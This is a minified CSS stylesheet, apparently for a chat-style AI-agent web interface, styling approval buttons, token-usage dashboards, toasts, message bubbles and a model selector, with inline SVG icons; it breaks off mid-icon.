.diff-add{background:var(--diff-add-bg);color:var(--state-success)}.approval-actions{display:flex;gap:8px;justify-content:flex-end}.approval-btn{border:none;border-radius:8px;padding:6px 12px;font-size:12px;cursor:pointer}.approval-btn:disabled{opacity:.5;cursor:not-allowed}.approval-btn--approve{color:var(--theme-surface-strong);background:var(--state-success)}.approval-btn--switch{color:var(--on-accent);background:var(--state-danger)}.approval-btn--reject{color:var(--theme-surface-strong);background:var(--accent-strong)}body[data-theme=dark] .file-tab{background:var(--surface-panel);border-color:var(--border-card-strong)}body[data-theme=dark] .tab-header{background:var(--badge-bg)}body[data-theme=dark] .file-content{background:var(--surface-base)}body[data-theme=dark] .focus-close-btn{background:var(--badge-bg)}body[data-theme=dark] .focus-close-btn:hover{background:var(--surface-muted)}body[data-theme=dark] .approval-close-btn{background:var(--badge-bg)}body[data-theme=dark] .approval-close-btn:hover{background:var(--surface-muted)}.token-count{color:var(--accent);font-weight:500}.token-drawer{position:absolute;top:56px;left:0;right:0;width:100%;display:flex;justify-content:center;align-items:flex-start;z-index:20;pointer-events:none}.token-display-panel{width:min(860px,92%);background:var(--surface-panel);border:1px solid var(--border-default);border-radius:26px;box-shadow:0 24px 42px var(--shadow-color);transition:transform .35s ease,opacity .35s ease;pointer-events:auto;position:relative}.token-drawer.collapsed .token-display-panel{transform:translateY(-120%);opacity:0;pointer-events:none}.token-panel-content{padding:16px 36px}.token-panel-grid{display:grid;gap:24px}.usage-dashboard{position:relative;display:grid;grid-template-columns:repeat(2,minmax(0,1fr));grid-auto-rows:auto;column-gap:48px;row-gap:32px;padding:8px 0}.usage-dashboard:before{content:"";position:absolute;top:0;bottom:0;left:50%;width:1px;background:var(--border-default);transform:translate(-.5px);pointer-events:none;z-index:0}.usage-cell{display:flex;flex-direction:column;gap:16px;position:relative;z-index:1}.usage-dashboard .panel-card{border-left:none;padding:0}.usage-cell--left{padding-right:24px}.usage-cell--right{padding-left:24px}.usage-title{display:flex;justify-content:space-between;align-items:center;font-size:14px;font-weight:600;color:var(--text-primary)}.stat-grid{display:grid;gap:12px}.stat-grid--triple{grid-template-columns:repeat(3,minmax(0,1fr))}.stat-grid--double{grid-template-columns:repeat(2,minmax(0,1fr))}.stat-block{display:flex;flex-direction:column;gap:6px}.stat-label{color:var(--text-secondary);font-size:12px;letter-spacing:.04em}.stat-value{font-weight:600;font-size:18px;font-variant-numeric:tabular-nums;color:var(--text-primary)}.stat-value--accent{color:var(--accent);font-size:20px}.stat-value--success{color:var(--state-success)}.stat-value--warning{color:var(--state-warning)}.stat-value--mono{font-family:SF Mono,Monaco,Consolas,monospace;font-size:16px}.stat-meta,.stat-foot{font-size:12px;color:var(--text-secondary)}.stat-meta{text-transform:none}.stat-foot{margin-top:2px}.usage-placeholder{font-size:13px;color:var(--text-secondary)}.token-close-btn{position:absolute;top:12px;left:12px;width:14px;height:14px;border:1px solid var(--mac-close-border);border-radius:50%;background:var(--mac-close);display:block;padding:0;cursor:pointer;transition:background .2s ease,transform .2s ease;box-shadow:0 2px 4px var(--shadow-color)}.token-close-btn:hover{background:var(--mac-close-hover);transform:translateY(-1px)}.token-close-btn:active{transform:translateY(0)}.sr-only{position:absolute;width:1px;height:1px;padding:0;margin:-1px;overflow:hidden;clip:rect(0,0,0,0);border:0}.panel-row{display:grid;grid-template-columns:repeat(auto-fit,minmax(360px,1fr));gap:24px;align-items:stretch}.token-card{flex:1 1 320px}.token-card.compact,.container-stats-card{display:flex;flex-direction:column;height:100%;justify-content:space-between}.token-stats{display:flex;justify-content:space-between;gap:32px;flex-wrap:wrap}.token-stats.inline-row{flex-wrap:nowrap;gap:24px;align-items:flex-start}.token-stats.inline-row>.token-item{flex:1 1 0;min-width:0}.quota-inline{display:flex;gap:24px;flex-wrap:nowrap;justify-content:space-between;align-items:flex-end}.quota-inline-item{flex:1 1 0;min-width:0}.usage-quota-card{margin-top:16px}.quota-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px}.quota-label{font-size:12px;color:var(--text-secondary);font-weight:500}.quota-value{font-weight:600;font-size:16px;color:var(--text-primary)}.quota-reset{font-size:12px;color:var(--text-secondary)}.token-item{display:flex;flex-direction:column;gap:4px;min-width:120px}.token-label{color:var(--text-secondary);font-size:11px;font-weight:500;text-transform:uppercase;letter-spacing:.04em}.token-value{color:var(--text-primary);font-weight:600;font-size:18px;font-variant-numeric:tabular-nums}.token-value.current{color:var(--accent);font-size:20px}.token-value.input{color:var(--state-success)}.token-value.output{color:var(--state-warning)}.panel-row-title{display:flex;justify-content:space-between;align-items:center;margin-bottom:12px;font-size:12px;color:var(--text-secondary);text-transform:uppercase;letter-spacing:.04em}.double-metric{display:flex;gap:24px}.status-pill{padding:2px 10px;border-radius:999px;font-size:11px;font-weight:600;background:var(--badge-bg);color:var(--text-secondary)}.quota-toast{position:fixed;top:24px;right:32px;padding:12px 18px;border-radius:12px;background:var(--surface-base);border:1px solid var(--border-strong);box-shadow:0 12px 30px var(--shadow-color);z-index:2000;max-width:320px;color:var(--text-primary);font-weight:500;display:flex;align-items:center;gap:12px}.quota-toast-label{display:block;flex:1}.quota-toast-fade-enter-active,.quota-toast-fade-leave-active{transition:opacity .2s ease,transform .2s ease}.quota-toast-fade-enter-from,.quota-toast-fade-leave-to{opacity:0;transform:translate(20px)}.toast-stack{position:fixed;top:96px;right:32px;width:min(320px,100vw - 32px);display:flex;flex-direction:column;gap:12px;z-index:2050}.toast-stack.toast-stack--empty{pointer-events:none}.app-toast{display:flex;align-items:flex-start;gap:12px;padding:12px 14px;border-radius:14px;background:var(--surface-base);border:1px solid var(--border-strong);box-shadow:0 12px 30px var(--shadow-color);color:var(--text-primary)}.app-toast:before{content:"";width:4px;border-radius:999px;background:var(--text-secondary);align-self:stretch}.app-toast--success:before{background:var(--state-success)}.app-toast--warning:before{background:var(--state-warning)}.app-toast--error:before{background:var(--state-danger)}.app-toast-body{flex:1;display:flex;flex-direction:column;gap:4px}.app-toast-title{font-weight:600}.app-toast-message{font-size:13px;line-height:1.4}.toast-close{border:none;background:transparent;color:var(--text-secondary);font-size:16px;cursor:pointer;padding:2px}.toast-close:hover{color:var(--text-primary)}.status-pill--running{background:color-mix(in srgb,var(--state-success) 22%,transparent);color:var(--state-success)}.status-pill--stopped{background:color-mix(in srgb,var(--state-warning) 22%,transparent);color:var(--state-warning)}.status-pill--host{background:var(--badge-bg);color:var(--text-secondary)}.container-metric-grid{display:grid;grid-template-columns:repeat(2,minmax(150px,1fr));gap:16px 24px}.container-metric{display:flex;flex-direction:column;gap:4px}.metric-label{color:var(--text-secondary);font-size:11px;letter-spacing:.04em;text-transform:uppercase}.metric-value{font-weight:600;color:var(--text-primary);font-size:16px;font-variant-numeric:tabular-nums}.metric-subtext{color:var(--text-secondary);font-size:12px}.container-empty{color:var(--text-secondary);font-size:13px;padding:12px 0}@media (max-width: 900px){.token-panel-layout{flex-direction:column;gap:20px}.container-stats-card{border-left:none;border-top:1px solid var(--border-default);padding-left:0;padding-top:16px}.token-stats{flex-direction:column;gap:16px}.usage-dashboard{grid-template-columns:1fr;row-gap:20px;padding:0}.usage-dashboard:before{display:none}.usage-cell--left,.usage-cell--right{padding:0}.stat-grid--triple{grid-template-columns:repeat(auto-fit,minmax(140px,1fr))}.token-item{min-width:auto}.token-panel-content{padding:18px 24px}}.text-content ul,.text-content ol{margin-left:24px;padding-left:0;margin-bottom:12px}.text-content ul{list-style-type:disc}.text-content ul ul{list-style-type:circle;margin-top:6px}.text-content ol{list-style-type:decimal}.text-content li{margin-bottom:6px;line-height:1.6}.search-meta{font-size:14px;color:var(--text-secondary);line-height:1.6;margin-bottom:12px;word-break:break-word}.search-result-list{display:flex;flex-direction:column;gap:10px}.search-result-item{padding:10px 12px;border:1px solid var(--border-default);border-radius:8px;background:var(--surface-soft);word-break:break-word}.search-result-title{font-weight:600;margin-bottom:6px;color:var(--text-primary)}.search-result-url a{color:var(--accent-strong);text-decoration:none;word-break:break-all}.search-result-url a:hover{text-decoration:underline}.search-empty{font-size:13px;color:var(--text-secondary);font-style:italic}.chat-container{--chat-surface-color: var(--surface-panel);--chat-rail-max: 900px;--chat-rail-fluid: calc(100% - 57px) ;--chat-scrollbar-width: 8px;--chat-rail-width: min(var(--chat-rail-max), var(--chat-rail-fluid));--chat-message-rail-width: min( var(--chat-rail-max), calc(var(--chat-rail-fluid) + (var(--chat-scrollbar-width) * .94)) );--chat-content-x: 0px;--composer-base-height: calc(90px + var(--app-bottom-inset));--composer-reserved-height: var(--composer-base-height);--composer-growth-height: 0px;flex:1;display:flex;flex-direction:column;background:var(--chat-surface-color);min-width:0;height:var(--app-viewport);overflow:hidden;position:relative;-webkit-backdrop-filter:blur(6px);backdrop-filter:blur(6px)}.conversation-ribbon{position:absolute;inset:0 0 auto 0;height:44px;padding:8px 52px 8px 16px;display:flex;align-items:center;justify-content:space-between;color:var(--text-primary);background:var(--chat-surface-color);box-shadow:none;pointer-events:auto;-webkit-user-select:none;user-select:none;-webkit-backdrop-filter:none;backdrop-filter:none;z-index:40;gap:12px}.conversation-ribbon:after{content:"";position:absolute;left:0;right:0;bottom:-8px;height:16px;background:var(--chat-surface-color);mask-image:linear-gradient(180deg,#000,#0009 55%,#0000);-webkit-mask-image:linear-gradient(180deg,rgb(0,0,0) 0%,rgba(0,0,0,.6) 55%,rgba(0,0,0,0) 100%);backdrop-filter:blur(14px);-webkit-backdrop-filter:blur(14px);pointer-events:none}.conversation-ribbon__text{font-weight:700;font-size:15px;line-height:1.4;letter-spacing:.02em;font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,Times,serif;max-width:60%;color:var(--text-primary);text-shadow:0 1px 6px var(--shadow-color);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.chat-container.has-title-ribbon .messages-area{padding-top:54px}.chat-container--monitor .virtual-monitor-surface{flex:1}.chat-area-shell{flex:1;min-height:0;position:relative;display:flex;flex-direction:column}.chat-area-shell>.messages-area{flex:1}.chat-quick-nav{position:absolute;left:0;top:50%;transform:translateY(-50%);display:flex;flex-direction:column;justify-content:space-between;padding:10px 0;height:min(62vh,var(--qn-count, 1) * 9px + 20px);z-index:30}.chat-quick-nav--center{align-items:center}.qn-line{height:2px;width:8px;border-radius:1px;background:var(--text-tertiary);opacity:.45;cursor:pointer;transition:width .16s ease,opacity .25s ease,background-color .25s ease;position:relative;flex-shrink:0}.qn-line:before{content:"";position:absolute;left:-6px;right:-10px;top:-5px;bottom:-5px}.qn-line.is-current{background:var(--text-primary);opacity:1}.chat-quick-nav:hover .qn-line.is-current:not(:hover){background:var(--text-tertiary);opacity:.45}.qn-line.is-hot{background:var(--text-primary);opacity:1}.quick-nav-preview{position:absolute;width:340px;height:116px;display:flex;flex-direction:column;background:var(--surface-raised);border:1px solid var(--border-default);border-radius:12px;box-shadow:var(--shadow-mid);padding:14px 16px;z-index:40;pointer-events:none;opacity:0;transform:translate(-4px);transition:opacity .12s ease,transform .12s ease;overflow:hidden}.quick-nav-preview.is-visible{opacity:1;transform:translate(0)}.quick-nav-preview-user{flex-shrink:0;font-weight:600;font-size:13.5px;line-height:1.45;color:var(--text-primary);white-space:nowrap;overflow:hidden;text-overflow:ellipsis;margin-bottom:8px}.quick-nav-preview-ai{flex:1;min-height:0;overflow:hidden;font-size:12.5px;line-height:1.6;color:var(--text-secondary)}.quick-nav-preview-ai :deep(.markdown-renderer){font-size:inherit;line-height:inherit;color:inherit}.quick-nav-preview-ai :deep(p){margin:0 0 4px}.quick-nav-preview-ai :deep(ul),.quick-nav-preview-ai :deep(ol){margin:0 0 4px;padding-left:18px}.quick-nav-preview-ai :deep(li){margin-bottom:2px}.quick-nav-preview-ai :deep(li:last-child),.quick-nav-preview-ai :deep(p:last-child){margin-bottom:0}.quick-nav-preview-ai :deep(strong){color:var(--text-primary);font-weight:600}.quick-nav-preview-ai :deep(code){font-size:12px;font-family:ui-monospace,SF Mono,Menlo,monospace;background:var(--surface-muted);border-radius:4px;padding:0 4px}.quick-nav-preview-ai :deep(pre){margin:0 0 4px;white-space:pre-wrap;word-break:break-all;font-size:12px}.quick-nav-preview-ai :deep(h1),.quick-nav-preview-ai :deep(h2),.quick-nav-preview-ai :deep(h3),.quick-nav-preview-ai :deep(h4),.quick-nav-preview-ai :deep(h5),.quick-nav-preview-ai :deep(h6){font-size:12.5px;font-weight:600;color:var(--text-primary);margin:0 0 4px}@media (max-width: 640px){.chat-quick-nav{display:none}}.messages-area{flex:1;overflow-y:auto;overflow-x:hidden;overflow-anchor:none;padding:30px 24px 20px;min-height:0;position:relative;contain:layout style}.messages-area.messages-area--stick{overflow-anchor:none}.messages-area.messages-area--render-pending .messages-flow,.messages-area.messages-area--render-pending .messages-bottom-spacer{visibility:hidden}.messages-flow{position:relative;left:calc(var(--chat-scrollbar-width) / 2);width:var(--chat-message-rail-width);margin:0 auto;display:flex;flex-direction:column;contain:layout style}.messages-flow .message-block--last{margin-bottom:0}.messages-bottom-spacer{width:1px;height:var(--composer-growth-height, 0px);min-height:var(--composer-growth-height, 0px);pointer-events:none;-webkit-user-select:none;user-select:none}.chat-container .input-area{position:absolute;left:0;right:0;bottom:32px}.messages-area::-webkit-scrollbar,.sidebar::-webkit-scrollbar,.conversation-list::-webkit-scrollbar{width:8px}.messages-area::-webkit-scrollbar-track,.sidebar::-webkit-scrollbar-track,.conversation-list::-webkit-scrollbar-track{background:transparent}.messages-area::-webkit-scrollbar-thumb,.sidebar::-webkit-scrollbar-thumb,.conversation-list::-webkit-scrollbar-thumb{background:var(--text-muted);border-radius:8px}.scroll-lock-toggle{position:fixed;right:8px;bottom:100px;z-index:25;display:flex;align-items:center;justify-content:flex-end}.scroll-to-bottom-fade-enter-active,.scroll-to-bottom-fade-leave-active{transition:opacity .2s ease,transform .2s ease}.scroll-to-bottom-fade-enter-from,.scroll-to-bottom-fade-leave-to{opacity:0;transform:translateY(8px)}.chat-container--immersive .scroll-lock-toggle{right:8px}.chat-container--mobile{--chat-rail-fluid: 100%;padding-top:52px}.chat-container--mobile.chat-container--app-shell{--chat-scrollbar-width: 0px !important;--chat-message-rail-width: var(--chat-rail-width) !important}@media (max-width: 768px){.chat-container{--chat-rail-fluid: 100%;--composer-base-height: calc(90px + var(--app-bottom-inset));--composer-reserved-height: var(--composer-base-height)}.chat-container--mobile{padding-top:44px}.messages-area{padding-top:8px;padding-left:12px!important;padding-right:12px!important}.message-block--first{margin-top:0}.user-message .message-text{max-width:80%!important}.assistant-message .message-text{padding:16px 8px!important}}@media (max-width: 768px){.messages-flow{left:0;padding-left:0;padding-right:0}}.conversation-ribbon__selector{pointer-events:auto;display:inline-flex;align-items:center;gap:6px;padding:0;border-radius:0;border:none;background:transparent;box-shadow:none;color:var(--text-primary);font-weight:600;font-size:15px;line-height:1.35;font-family:Iowan Old Style,ui-serif,Georgia,Cambria,Times New Roman,Times,serif;cursor:pointer;transition:color .15s ease}.conversation-ribbon__selector:hover{color:var(--text-primary)}.conversation-ribbon__selector:disabled{opacity:.6;cursor:not-allowed}.conversation-ribbon__selector.open{color:var(--text-primary)}.selector-label{display:inline-flex;align-items:center;gap:6px}.selector-model{font-weight:700}.selector-sep{opacity:.6}.selector-mode{font-weight:500;color:var(--text-secondary)}.selector-caret{width:14px;height:14px;stroke:currentColor}.model-mode-dropdown{position:absolute;top:48px;left:16px;display:grid;grid-template-columns:minmax(0,300px) minmax(220px,1fr);gap:12px;padding:12px;border-radius:14px;background:var(--surface-soft);box-shadow:none;pointer-events:auto;width:min(720px,100vw - 32px);max-width:calc(100vw - 32px);z-index:50}.model-mode-dropdown--mobile{position:fixed;top:52px;left:12px;right:auto;width:min(480px,100vw - 24px);min-width:0;max-width:min(480px,100vw - 24px);grid-template-columns:1fr 1fr;gap:8px;z-index:1600}.model-mode-dropdown--mobile .dropdown-item{grid-template-columns:1fr auto}.model-mode-dropdown--mobile .item-desc{display:none}.dropdown-column{display:flex;flex-direction:column;gap:6px}.dropdown-effort{margin-top:8px;padding:10px 4px 2px;border-top:1px solid var(--border-default)}.dropdown-list{display:flex;flex-direction:column;gap:6px}.dropdown-list--models{max-height:320px;overflow-y:auto;-ms-overflow-style:none;scrollbar-width:none}.dropdown-list--models::-webkit-scrollbar{width:0;height:0}.model-mode-dropdown--mobile .dropdown-list--models{max-height:260px}.dropdown-title{font-size:12px;font-weight:700;letter-spacing:.04em;text-transform:uppercase;color:var(--text-secondary);padding:2px 12px}.dropdown-item{text-align:left;background:transparent;border:1px solid transparent;border-radius:12px;padding:10px 12px;display:grid;grid-template-columns:1fr auto;gap:6px;cursor:pointer;transition:all .18s ease;color:var(--text-primary)}.dropdown-item:hover:not(.disabled){background:var(--hover-bg)}.dropdown-item.disabled{opacity:.55;cursor:not-allowed}.item-label{font-weight:700;font-size:14px}.item-desc{grid-column:1/2;font-size:12px;color:var(--text-secondary)}.item-check{align-self:center;font-weight:800;color:var(--text-primary)}.header-menu-enter-active,.header-menu-leave-active{transition:all .16s ease,opacity .16s ease;transform-origin:top left}.header-menu-enter-from,.header-menu-leave-to{opacity:0;transform:translateY(-6px) scale(.98)}.scroll-lock-btn{width:36px;height:36px;border-radius:50%;border:1px solid var(--border-default);background:var(--surface-soft);display:flex;align-items:center;justify-content:center;cursor:pointer;transition:all .2s ease;box-shadow:none}.scroll-lock-btn:hover{transform:translateY(-2px);box-shadow:none}.scroll-lock-toggle.locked .scroll-lock-btn{border-color:var(--accent);box-shadow:none}.scroll-lock-btn svg{width:18px;height:18px;stroke:var(--text-primary);stroke-width:1.8;fill:none;transition:stroke .2s ease}.scroll-lock-toggle.locked .scroll-lock-btn svg{stroke:var(--accent)}.message-block{margin-bottom:24px;min-width:0}.message-block.message-block--sub-agent-notice,.message-block.message-block--before-sub-agent-notice,.message-block.message-block--before-sub-agent-notice .minimal-blocks-container{margin-bottom:8px}.message-block.message-block--before-sub-agent-notice .minimal-blocks-container>:last-child{margin-bottom:0}.message-block.message-block--sub-agent-notice .minimal-blocks-container{margin:0}.user-message{display:flex;flex-direction:column;align-items:flex-end}.user-message.user-message--multi-agent{align-items:flex-start}.message-block.message-block--multi-agent{margin-bottom:12px}.user-message.user-message--multi-agent .message-header{align-self:flex-start}.user-message.user-message--multi-agent .message-header.message-header--hidden{display:none}.user-message.user-message--multi-agent .message-text{align-self:flex-start}.user-message.user-message--multi-agent .message-text.user-bubble-text .bubble-text{white-space:normal;word-break:normal}.user-message.user-message--multi-agent .bubble-text .markdown-text-segment>*:first-child{margin-top:0}.user-message.user-message--multi-agent .bubble-text .markdown-text-segment>*:last-child{margin-bottom:0}.user-message.user-message--multi-agent .bubble-text p:empty{display:none}.user-message.user-message--multi-agent .bubble-text h1,.user-message.user-message--multi-agent .bubble-text h2,.user-message.user-message--multi-agent .bubble-text h3,.user-message.user-message--multi-agent .bubble-text h4,.user-message.user-message--multi-agent .bubble-text h5,.user-message.user-message--multi-agent .bubble-text h6{margin:14px 0 6px;font-weight:600;line-height:1.3;color:var(--text-primary)}.user-message.user-message--multi-agent .bubble-text h1{font-size:1.5em}.user-message.user-message--multi-agent .bubble-text h2{font-size:1.3em}.user-message.user-message--multi-agent .bubble-text h3{font-size:1.15em}.user-message.user-message--multi-agent .bubble-text h4,.user-message.user-message--multi-agent .bubble-text h5,.user-message.user-message--multi-agent .bubble-text h6{font-size:1em}.user-message.user-message--multi-agent .bubble-text p{margin:6px 0}.user-message.user-message--multi-agent .bubble-text strong,.user-message.user-message--multi-agent .bubble-text b{font-weight:700}.user-message.user-message--multi-agent .bubble-text em,.user-message.user-message--multi-agent .bubble-text i{font-style:italic}.user-message.user-message--multi-agent .bubble-text ul,.user-message.user-message--multi-agent .bubble-text ol{margin:6px 0;padding-left:1.4em}.user-message.user-message--multi-agent .bubble-text li{margin:3px 0}.user-message.user-message--multi-agent .bubble-text blockquote{margin:10px 0;padding:4px 12px;border-left:3px solid var(--border-default);color:var(--text-secondary)}.user-message.user-message--multi-agent .bubble-text hr{margin:14px 0;border:none;border-top:1px solid var(--border-default)}.user-message.user-message--multi-agent .bubble-text code{font-family:JetBrains Mono,SF Mono,Fira Code,Consolas,Menlo,Monaco,Courier New,monospace;background:color-mix(in srgb,var(--text-primary) 7%,var(--chip-bg));padding:2px 5px;border-radius:4px;font-size:.9em}.user-message.user-message--multi-agent .bubble-text pre{background:color-mix(in srgb,var(--text-primary) 5%,var(--chip-bg));padding:10px 12px;border-radius:8px;overflow-x:auto;margin:10px 0}.user-message.user-message--multi-agent .bubble-text pre code{background:transparent;padding:0}.user-message.user-message--multi-agent .bubble-text table{width:100%;border-collapse:collapse;margin:10px 0;background:transparent}.user-message.user-message--multi-agent .bubble-text .md-table-scroll,.user-message.user-message--multi-agent .bubble-text [data-md-table-scroll="1"]{display:block;width:auto;max-width:none;margin:10px 0;overflow-x:auto;overflow-y:hidden;border:1px solid var(--border-default);border-radius:8px;background:color-mix(in srgb,var(--text-primary) 4%,var(--chip-bg))}.user-message.user-message--multi-agent .bubble-text .md-table-scroll>table,.user-message.user-message--multi-agent .bubble-text [data-md-table-scroll="1"]>table{margin:0}.user-message.user-message--multi-agent .bubble-text th,.user-message.user-message--multi-agent .bubble-text td{border:1px solid var(--border-default);padding:6px 10px;text-align:left;vertical-align:middle;font-size:14px}.user-message.user-message--multi-agent .bubble-text th{font-weight:600;background:color-mix(in srgb,var(--text-primary) 7%,var(--chip-bg))}.message-block--last .user-message:not(.user-message--compact):not(.user-message--brief):not(.user-message--multi-agent){position:relative}.message-block--last .user-message:not(.user-message--compact):not(.user-message--brief):not(.user-message--multi-agent) .user-bubble-actions{position:absolute;right:0;top:100%;margin-top:4px;z-index:1}.message-block--last .assistant-message .text-output{margin-top:0;margin-bottom:0}.message-block--last .assistant-message .text-content>:last-child,.message-block--last .assistant-message .markdown-renderer>:last-child,.message-block--last .assistant-message .markdown-text-segment>:last-child,.message-block--last .assistant-message .md-table-scroll:last-child,.message-block--last .assistant-message [data-md-table-scroll="1"]:last-child,.message-block--last .assistant-message .chat-inline-card:last-child,.message-block--last .assistant-message .chat-inline-card--image:last-child,.message-block--last .assistant-message .show-file-card:last-child,.message-block--last .assistant-message .show-file-card-root:last-child{margin-bottom:0!important}.user-message.user-message--compact{align-items:center}.user-message .message-header,.assistant-message .message-header{font-size:14px;font-weight:600;color:var(--text-primary);margin-bottom:10px;letter-spacing:.02em}.assistant-work-status{margin-left:8px;font-size:12px;font-weight:500;color:var(--text-secondary)}.assistant-generating-placeholder{display:inline-flex;align-items:center;color:var(--text-secondary);font-size:14px;font-weight:500;letter-spacing:.05em}.assistant-generating-letter{display:inline-block;opacity:.42;transform:translateY(0);animation:assistant-generating-letter-wave 1.6s ease-in-out infinite}@keyframes assistant-generating-letter-wave{0%,to{opacity:.42;transform:translateY(0)}20%{opacity:1;transform:translateY(-3px)}42%{opacity:.68;transform:translateY(0)}}.user-message .message-text,.assistant-message .message-text{padding:16px 20px;border-radius:18px;font-size:15px;line-height:1.6;box-shadow:none;color:var(--text-primary);white-space:pre-wrap;word-break:break-all;overflow-wrap:normal}.user-message .message-text{background:var(--chip-bg);display:flex;flex-direction:column;gap:10px;max-width:60%;width:fit-content;align-self:flex-end}.user-message.user-message--compact .message-text{max-width:min(760px,88%);align-self:center;padding:10px 14px;border-radius:14px;font-size:13px;color:var(--text-secondary);background:var(--theme-surface-card);border:1px solid var(--theme-control-border)}.user-message.user-message--brief{align-items:stretch;width:100%}.user-message.user-message--brief .compact-brief-line{display:flex;align-items:center;gap:14px;width:100%;margin:2px auto;color:var(--text-secondary);-webkit-user-select:none;user-select:none}.user-message.user-message--brief .compact-brief-line:before,.user-message.user-message--brief .compact-brief-line:after{content:"";flex:1 1 auto;height:0;border-top:1px solid var(--theme-control-border)}.user-message.user-message--brief .compact-brief-text{flex:0 0 auto;font-size:12.5px;letter-spacing:.04em;white-space:nowrap;opacity:.9}.user-message .message-text .user-skill-link,.user-message .message-text .user-file-link{color:var(--state-info);font-weight:600;display:inline-block;margin:0 .25em}.user-message .message-text.user-bubble-text .bubble-text{overflow:hidden;transition:max-height .3s cubic-bezier(.4,0,.2,1);max-height:var(--bubble-full-height, 9999px);white-space:pre-wrap;word-break:break-all;position:relative}.user-message .message-text.user-bubble-text.is-history-loading .bubble-text{transition:none!important}.user-message .message-text.user-bubble-text.is-expandable{position:relative}.user-message .message-text.user-bubble-text.is-expandable .bubble-text:not(.is-expanded){max-height:calc(var(--bubble-fold-height, 240px) + 1.6em)}.user-message .message-text.user-bubble-text.is-expandable .bubble-text:after{content:"";position:absolute;left:0;right:0;bottom:0;height:1.6em;background:linear-gradient(to bottom,transparent,var(--chip-bg));pointer-events:none;opacity:1;transition:opacity .3s cubic-bezier(.4,0,.2,1)}.user-message .message-text.user-bubble-text.is-expandable .bubble-text.is-expanded:after{opacity:0}.user-bubble-expand-row{display:flex;align-items:center;justify-content:flex-end;margin-top:0;margin-bottom:0;opacity:1;transform:none;pointer-events:auto;align-self:flex-end;width:100%;min-height:22px;transition:margin-top .3s cubic-bezier(.4,0,.2,1),background .3s cubic-bezier(.4,0,.2,1)}.user-message .message-text.user-bubble-text.is-expandable .bubble-text:not(.is-expanded)~.user-bubble-expand-row{margin-top:-1.6em;min-height:1.6em;align-items:flex-end;background:linear-gradient(to right,transparent 0%,transparent 50%,var(--chip-bg) 100%);border-bottom-right-radius:18px}.user-message .message-text.user-bubble-text.is-expandable .bubble-text.is-expanded~.user-bubble-expand-row{margin-top:0;background:transparent;border-bottom-right-radius:0}.user-bubble-expand-row .user-bubble-expand-btn{width:22px;height:22px;margin:0;padding:0;opacity:1;transform:none;pointer-events:auto;background:transparent;color:var(--text-tertiary);border-radius:4px;transition:color .14s ease}.user-bubble-expand-row .user-bubble-expand-btn:hover{background:transparent;color:var(--text-primary)}.user-bubble-actions{display:flex;align-items:center;justify-content:flex-start;gap:4px;margin-top:6px;opacity:0;transform:translateY(4px);pointer-events:none;transition:opacity .18s ease,transform .18s ease;white-space:normal;align-self:flex-end}.user-bubble-time{font-size:12px;color:var(--text-secondary);margin-left:auto;padding-left:8px;line-height:20px;-webkit-user-select:none;user-select:none}.user-message:not(.user-message--compact):not(.user-message--brief):hover .user-bubble-actions,.user-message:not(.user-message--compact):not(.user-message--brief):focus-within .user-bubble-actions{opacity:1;transform:translateY(0);pointer-events:auto}.user-bubble-action-btn{width:20px;height:20px;border:none;border-radius:6px;padding:0;background:transparent;color:var(--text-secondary);cursor:pointer;display:inline-flex;align-items:center;justify-content:center;transition:background-color .14s ease,color .14s ease;flex-shrink:0}.user-bubble-action-btn:hover{background-color:var(--theme-tab-active);color:var(--text-primary)}.user-bubble-action-btn:before{content:"";width:14px;height:14px;display:block;background:currentColor;mask:center/contain no-repeat;-webkit-mask:center/contain no-repeat}.user-bubble-action-btn.copy:before{mask-image:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='48'%20height='48'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3crect%20width='14'%20height='14'%20x='8'%20y='8'%20rx='2'%20ry='2'/%3e%3cpath%20d='M4%2016c-1.1%200-2-.9-2-2V4c0-1.1.9-2%202-2h10c1.1%200%202%20.9%202%202'/%3e%3c/svg%3e");-webkit-mask-image:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='48'%20height='48'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3crect%20width='14'%20height='14'%20x='8'%20y='8'%20rx='2'%20ry='2'/%3e%3cpath%20d='M4%2016c-1.1%200-2-.9-2-2V4c0-1.1.9-2%202-2h10c1.1%200%202%20.9%202%202'/%3e%3c/svg%3e")}.user-bubble-action-btn.copy.copied:before{mask-image:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M20%206%209%2017l-5-5'%20/%3e%3c/svg%3e");-webkit-mask-image:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20width='24'%20height='24'%20viewBox='0%200%2024%2024'%20fill='none'%20stroke='currentColor'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20%3e%3cpath%20d='M20%206%209%2017l-5-5'%20/%3e%3c/svg%3e")}.user-bubble-action-btn.branch:before{mask-image:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='24'%20height='24'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3ccircle%20cx='12'%20cy='18'%20r='3'/%3e%3ccircle%20cx='6'%20cy='6'%20r='3'/%3e%3ccircle%20cx='18'%20cy='6'%20r='3'/%3e%3cpath%20d='M18%209v2c0%20.6-.4%201-1%201H7c-.6%200-1-.4-1-1V9m6%203v3'/%3e%3c/svg%3e");-webkit-mask-image:url("data:image/svg+xml,%3csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2024%2024'%20width='24'%20height='24'%20fill='none'%20stroke='%23000000'%20stroke-width='2'%20stroke-linecap='round'%20stroke-linejoin='round'%20style='opacity:1;'%3e%3ccircle%20cx='12'%20cy='18'%20r='3'/%3e%3ccircle%20cx='6'%20cy='6'%20r='3'/%3e%3ccircle%20cx='18'%20cy='6'%20r='3'/%3e%3cpath%20d='M1